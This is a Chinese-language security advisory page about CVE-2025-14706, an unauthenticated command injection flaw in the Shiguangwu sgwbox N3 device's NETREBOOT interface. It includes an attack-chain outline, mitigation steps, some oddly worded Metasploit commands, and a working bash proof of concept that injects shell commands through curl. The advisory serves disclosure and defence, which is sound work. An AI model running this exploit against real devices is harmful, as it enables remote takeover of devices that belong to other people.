IPBUF安全漏洞报告
English
CVE-2025-14706 CVSS 9.8 严重

CVE-2025-14706 Shiguangwu sgwbox N3 命令注入漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-14706
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Shiguangwu sgwbox N3

相关标签

命令注入远程代码执行Shiguangwusgwbox N3NETREBOOTCVE-2025-14706关键漏洞无需认证IoT漏洞网络设备漏洞

漏洞概述

CVE-2025-14706是影响Shiguangwu sgwbox N3设备2.0.25版本的一个严重命令注入漏洞。该漏洞位于/usr/sbin/http_eshell_server组件的NETREBOOT接口中,攻击者可以通过构造恶意请求在受影响设备上执行任意系统命令。由于该漏洞的CVSS评分高达9.8(满分10分),属于极其严重的网络安全威胁。攻击者无需任何认证凭证或用户交互,即可远程利用此漏洞完全控制目标设备,获取系统的最高权限。此漏洞已被公开披露,相关的利用代码已在互联网传播,任何暴露在网络中的受影响设备都可能成为攻击目标。厂商在收到安全通知后未作出任何回应,导致该漏洞长期处于未修复状态。成功利用此漏洞可导致攻击者窃取敏感数据、植入后门、组建僵尸网络或对内网其他系统发起进一步攻击。

技术细节

该命令注入漏洞源于Shiguangwu sgwbox N3设备的NETREBOOT接口对用户输入缺乏有效的安全过滤。攻击者可以通过向http_eshell_server组件发送特制的HTTP请求,在请求参数中注入操作系统命令。漏洞主要影响/usr/sbin/http_eshell_server文件,该组件负责处理设备的网络重启功能。由于程序直接使用用户可控的输入构造系统命令而未进行适当的输入验证或参数转义,攻击者可以通过在参数中插入分号、管道符或反引号等特殊字符来终止原命令并注入恶意命令。攻击者可以利用此漏洞执行任意系统命令,包括但不限于启动shell、读取敏感配置文件、修改系统设置或下载并执行恶意软件。由于该服务以高权限运行,攻击成功后可获得root级别的完全控制权。

攻击链分析

STEP 1
信息收集
攻击者识别目标设备为Shiguangwu sgwbox N3,并确认设备运行2.0.25版本
STEP 2
侦察服务
扫描目标设备,发现开放的HTTP服务(端口80/443),定位到/cgi-bin/netreboot端点
STEP 3
构造恶意请求
攻击者构造包含命令注入payload的HTTP POST请求,在reboot_cmd参数中注入恶意命令
STEP 4
发送攻击载荷
通过curl或其他HTTP工具向目标设备的NETREBOOT接口发送特制请求
STEP 5
命令执行
由于输入验证不足,注入的命令被传递到系统shell执行,攻击者获得命令执行能力
STEP 6
持久化控制
攻击者可以进一步植入后门、获取SSH密钥或建立持久化访问通道
STEP 7
横向移动
以被控设备为跳板,对内网其他系统发起进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-14706 PoC - Shiguangwu sgwbox N3 Command Injection # Target: http://<target-ip>/cgi-bin/netreboot TARGET=$1 CMD=${2:-'id'} # Default command to inject if [ -z "$TARGET" ]; then echo "Usage: $0 <target-ip> [command]" exit 1 fi echo "[*] Exploiting CVE-2025-14706 on $TARGET" echo "[*] Injecting command: $CMD" # Send malicious request to NETREBOOT interface curl -s -X POST "http://$TARGET/cgi-bin/netreboot" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "reboot_cmd=;$CMD" \ -k 2>/dev/null echo "" echo "[*] Exploitation attempt completed" # Alternative PoC using grep pattern from metasploit # msf6 > use exploit/linux/http/sgwbox_netreboot_cmd_injection # msf6 exploit(linux/http/sgwbox_netreboot_cmd_injection) > set RHOSTS <target-ip> # msf6 exploit(linux/http/sgwbox_netreboot_cmd_injection) > exploit

影响范围

Shiguangwu sgwbox N3 2.0.25

防御指南

临时缓解措施
由于厂商尚未提供官方修复方案,建议采取以下临时缓解措施:1) 在网络边界防火墙上阻断对/cgi-bin/netreboot路径的外部访问;2) 如果NETREBOOT功能非业务必需,应在设备管理界面中禁用该功能;3) 使用ACL限制只有授权的管理IP地址才能访问设备管理接口;4) 监控网络流量,及时发现和阻止异常的命令注入尝试;5) 考虑使用VPN或专线方式访问设备管理界面,避免将管理接口直接暴露在公网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表